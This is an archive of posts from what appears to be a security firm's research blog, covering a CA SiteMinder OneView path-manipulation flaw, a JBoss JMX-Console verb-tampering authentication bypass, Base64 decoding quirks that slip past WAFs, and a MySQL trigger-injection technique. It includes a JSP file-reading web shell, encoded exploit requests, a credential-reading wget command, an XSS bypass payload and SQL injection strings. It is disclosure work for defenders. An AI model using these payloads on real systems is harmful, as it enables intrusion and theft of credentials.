Monday, June 28, 2010

CA Siteminder Oneview Monitor Remote code execution

A couple of days ago we have published an advisory about a "vanilla" path manipulation in CA Oneview Monitor. This issue may lead to remote code execution and system compromise.

You can find the advisory here:
CA Oneview Monitor "DoSave.jsp" path manipulation

Vendor Response:
State: Not A Bug
Resolution: Functions as Designed
Resolution_Note: As per the docs, the only way to protect OneView is by putting SiteMinder in front.

To clarify vendor's position, One view monitor is a Plugin for Siteminder Policy Editor which is NOT installed by default;.. however by default is also NOT password protected.

Vendor suggests to enforce security restrictions to this interface to mitigate security risks *

From Admin guide:
Protect The OneView Viewer
To protect the OneView viewer, create a SiteMinder policy that
protects the resources in siteminder monitor.

The following is the same example that we sent to CA several weeks ago, that shows a real attack scenario against a Siteminded policy server with Oneview monitor installed without password protection:

1) The attack is based upon JSP code execution, you can do anything that is under the privilege of the application server that runs the Oneview Monitor.

Example of a Typical Installation:

- Siteminder Monitor
- Policy Manager
- Some other software, in this case LDAP Browser with it's configuration files


I will demonstrate a common attack that let you read most of the files from the remote machine. Generic JSP File Reader Code:
<%@ page import="java.io.*" %>
<% String[] ok = request.getParameterValues("f");

if(ok!=null){

FileInputStream fileinputstream = new FileInputStream(ok[0]);

int numberBytes = fileinputstream.available();
byte bytearray[] = new byte[numberBytes];

fileinputstream.read(bytearray);

for(int i = 0; i < numberBytes; i++){
out.println(bytearray[i]);
}

fileinputstream.close();
} %>


The previous code was written to be small enough to suite the limitations in length of the “cols” parameter (Maximum 620 bytes). The following request loads the code into OneView session:
http://<site>/sitemindermonitor/doConfig.jsp?newTable=newtable&components=Agent&cols=AuthorizeCount%20/%20sec%0d<%25@%20page%20import="java.io.*"%20%25><%25%20String[]%20ok%20=%20request.getParameterValues("f")%3b%20FileInputStream%20fileinputstream%20=%20new%20FileInputStream(ok[0])%3b%20int%20numberBytes%20=%20fileinputstream.available()%3b%20byte%20bytearray[]%20=%20new%20byte[numberBytes]%3b%20fileinputstream.read(bytearray)%3b%20for(int%20i%20=%200%3b%20i%20<%20numberBytes%3b%20i%2b%2b){%20out.println(bytearray[i])%3b%20}%20fileinputstream.close()%3b%20%25>

As seen before on the PDF the configuration information file can be saved to an arbitrary path:
http:///sitemindermonitor/doSave.jsp?file=../readfile.jsp

It's possible to use our code to read arbitrary files on the target system. In our case we are going to read a file with useful information (e.g. Credentials):
http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg

Readfile.jsp sends binary encoded output. The previous output can be easily decoded with a few lines of perl (converter.pl):
#!/bin/sh
#! -*- perl -*-
eval 'exec /usr/bin/perl -x $0 ${1+"$@"} ;'
if 0;

while (<stdin>) {
my $str = chr($_);
print $str;
}

The response can be read and decoded by using the following command:
user@mindbox:~/wget -qO-
http:///sitemindermonitor/readfile.jsp?f=d:/apps/ldapbrowser/config.cfg
| ./convert.pl

################################
# LDAP Browser v2.8 config file #
#################################

basedn=dc=test,dc=customer
port=389
managerlogin=yes
managereferrals=no
limit=0
derefaliases=always
version=3
sslport=636
timeout=0
password=T*******T
host=customer
managerdn=cn=user Name Surname,ou=Users,ou=keys....

user@mindbox:~/

Of course you can also execute processes under the privilege of the application server to spawn a shell.

*Note: It's very important to say that "DoSave.jsp" is also prone to Cross Site Request forgeries issues, so protecting this resource via a SSO cookie authentication (i.e. Siteminder auth cookie) cannot completely eliminate the risk.

From our point of view this is a very specific application security bug: a path manipulation issue. This issue should be fixed by rethink the data validation checks.

Friday, April 30, 2010

Good Bye Critical Jboss 0day

Authentication bypass vulnerabilities are always interesting from a penetration tester point of view, because the 80% of the time are very simple to abuse. The impact of a security bypass vulnerability depends, from a technical perspective, on what you could be able to do when you are authenticated.

Jboss has some good management tools that are used to deploy new applications and to perform privileged actions like executing scripts on the remote host. One of these is Jboss JMX-Console.

For more information on what an attacker may accomplish through the JMX-Console I suggest to read the following presentation:

Abusing Jboss by Christian Papathanasiou (Trustwave Spiderlabs)

Here at Minded Security we discovered something more. Jboss JMX console may be protected using a common password authentication, but the standard password configuration protection is vulnerable.

How many time someone suggested to you to secure the JMX console using the standard Jboss security configurations?

JMX Console standard security configuration is available in:

  • jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml

This is the suggested security configuration also available in Jboss official security guidelines (“White Paper on JMX Security”):

  • https://jira.jboss.org/jira/browse/SECURITY-31


The suggested configuration for protecting the JMX Console was the following one:

<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>


From the configuration above, security restrictions are enabled only for “GET” and “POST” methods. Any other HTTP method supported by the server will be not restricted.

By issuing a request with the “HEAD” method is possible to invoke directly, with “JBossAdmin” privilege, any functionality implemented by the jmx-console without valid credentials. Note: If JMX console replies with a HTTP 500 error the request has been correctly processed.

This kind of attack is referred in Appsec literature as Verb Tampering. The following one is a very good paper on this topic.

Bypassing with HTTP Verb Tampering by Arshan Dabirsiaghi - Aspect Security

The most interesting part is the exploitation. If we have access to any JMX console which is password protected or not, we can issue a HEAD HTTP request that will work ;D

Standard Deployment (will ask for password):

POST /jmx-console/HtmlAdaptor;index.jsp HTTP/1.1
....
content-lenght: 3512

action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&
arg3=%3C%25%40+page+import%3D%22java.io.*…....

Exploitation with Authentication Bypass:

HEAD /jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=6&arg0=..%2Fjmx-console.war%2F&arg1=argval&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.io.*….... HTTP/1.1

Now pick the request you prefer and build your custom exploit!


Reference:
http://www.mindedsecurity.com/MSA030409.html (Official Advisory)

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0738

Solution:
A solution to this issue is already available. See the following RedHat advisories:
  • https://rhn.redhat.com/errata/RHSA-2010-0376.html
  • https://rhn.redhat.com/errata/RHSA-2010-0377.html
  • https://rhn.redhat.com/errata/RHSA-2010-0378.html
  • https://rhn.redhat.com/errata/RHSA-2010-0379.html

We would like to thank the RedHat response team in particular Marc Schoenefeld for his support, technical knowledge and fast response.

Thursday, April 22, 2010

Is Php the only language doing flexible Base64 decoding?

As a follow up to the Base64 decoding post, I did a quick research on Base64 implementations.

http://www.google.com/codesearch?hl=en&sa=N&filter=0&q=base64+decode+lang:java

And some interesting result came out:

http://www.google.com/codesearch/p?hl=en#p9nGS4eQGUI/gnu/classpath/classpath-0.13.tar.gz|er25_rDDsHI/classpath-0.13/gnu/java/net/BASE64.java&q=base64+decode+lang:java

gnu.java.net.BASE64

public static byte[] decode(byte[] bs)
{
int srclen = bs.length;
while (srclen > 0 && bs[srclen - 1] == 0x3d)
{
srclen--; /* strip padding character */
}

That means that any = is stripped before the decoding is actually done.

$ java BASE64 -d "PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
PHNjcm======PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== = <scro\ufffd\ufffd\ufffd\ufffd><script>alert(1)</script>

This is of course a bad implementation of B64 decoding.

But it could fool a control since most of decoders stop at first = sequence.

http://www.google.com/codesearch/p?hl=en#p6HPTpcXbFY/JPainter/painter.zip|Iy8ZaJ1-4W4/jsp/Base64.java&q=base64+decode+lang:java

com.izhuk.util.Base64;

public static byte[] decode(String encoded) {
int i;
byte output[] = new byte[3];
int state;

ByteArrayOutputStream data = new ByteArrayOutputStream(encoded.length());

state = 1;
for(i=0; i < encoded.length(); i++)
{
byte c;
{
char alpha = encoded.charAt(i);
if (Character.isWhitespace(alpha)) continue;
and finally:

http://www.google.com/codesearch/p?hl=en#CskViEIa27Y/src/org/apache/commons/codec/binary/Base64.java&q=base64+decode+lang:java&sa=N&cd=19&ct=rc

org.apache.commons.codec.binary.Base64

public static byte[] decodeBase64(byte[] base64Data) {
// RFC 2045 requires that we discard ALL non-Base64 characters
base64Data = discardNonBase64(base64Data);

... act surprising.

If somebody wants to continue the research of B64 implementation I'll appreciate a comment here :)

Wednesday, April 21, 2010

MySQL Stacked Queries with SQL Injection...sort of

Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.

In the next few lines we'll describe a new technique that could allow an attacker
to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of
the Database data dir.
It needs two files:
  • /mysql/datadir/DB/TableName.TRG
  • /mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:

mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;

We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

and /var/lib/mysql/users/user.TRG

TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'


What happens if we successfully write user.TRG and atk.TRN in
/var/lib/mysql/users/users.TRG using INTO OUTFILE ?

AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';

Then do the same to create atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

MySQL will check if a TRG extension is present and will execute the
trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing
  • tabname.MYD
  • tabname.MYI
  • tabname.frm
and of course
  • tabname.TRG
  • triggername.TRN

file format and try to exploit the file format parsers.
We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.

Fooling B64_Encode(Payload) on WAFs and filters

When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:
  • Completeness
  • Correctness
We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.
A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).
Now the question is how can I implement a decoder to get the input back in clear?
Let's talk about Base64.

Base64 encoding and decoding are implemented in many ways and many languages.
For example PHP base64_decode() is:
  • Very greedy.
  • Goes ahead even if something goes wrong

Even some Java Implementation is kind of greedy:
com.sun.org.apache.xerces.internal.impl.dv.util.Base64

public static byte[] decode(String paramString) {
if (paramString == null) {
return null;
}
char[] arrayOfChar = paramString.toCharArray();
int i =
removeWhiteSpace(arrayOfChar);


The question is: How to rely on WAF or filters controls if they miss some
behaviour?

NoScript checks for Base64 encoded Xss.
ModSecurity implements Base64 decoding using the following rule:

SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"

So the following payload is caught by both:
b64_encode("<script>alert(1)</script>");

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Mod_Security:

NoScript:



But since the real decoder is on another layer, let's try with PHP's decoder
using the illegal character '.':

P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Here's what happens:



ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are bypassed.
Same happens for other illegal character.
Now NoScript is fixed (v. >= 1.9.9.62) and I expect ModSecurity to be fixed soon.

The question still remains.
How to rely on WAF or filters controls if they miss some behaviour?

WAFs and IDSs are good for defense in depth.
So don't rely too much on those.
Apply SSDLC by implementing correct filters and controls and
Test, Test, Test in your own environment!

Wednesday, March 31, 2010

OWASP projects and resources you can use TODAY

Next 16th April in London, OWASP leaders will deliver a course focused on the main OWASP Projects.
Apart from OWASP's Top 10, most OWASP Projects are not widely used and understood. In most cases this is not due to lack of quality and usefulness of those Document & Tool projects, but due to a lack of understanding of where they fit in an Enterprise's security ecosystem or in the Web Application Development Life-cycle.
This course aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them.
This Course is FREE for OWASP Members. Registration is mandatory.
Details here

Sunday, December 13, 2009

OWASP-Italy interviewed by Repubblica.it

Repubblica.it (the second largest circulation Italian daily newspaper) interviewed Matteo Meucci (OWASP-Italy chair) on the large-scale SQL injection attack that hit hundred thousand Websites from the last 10th december, injecting malicious iFrames to install a backdoor Trojan on the user clients.

Read the article.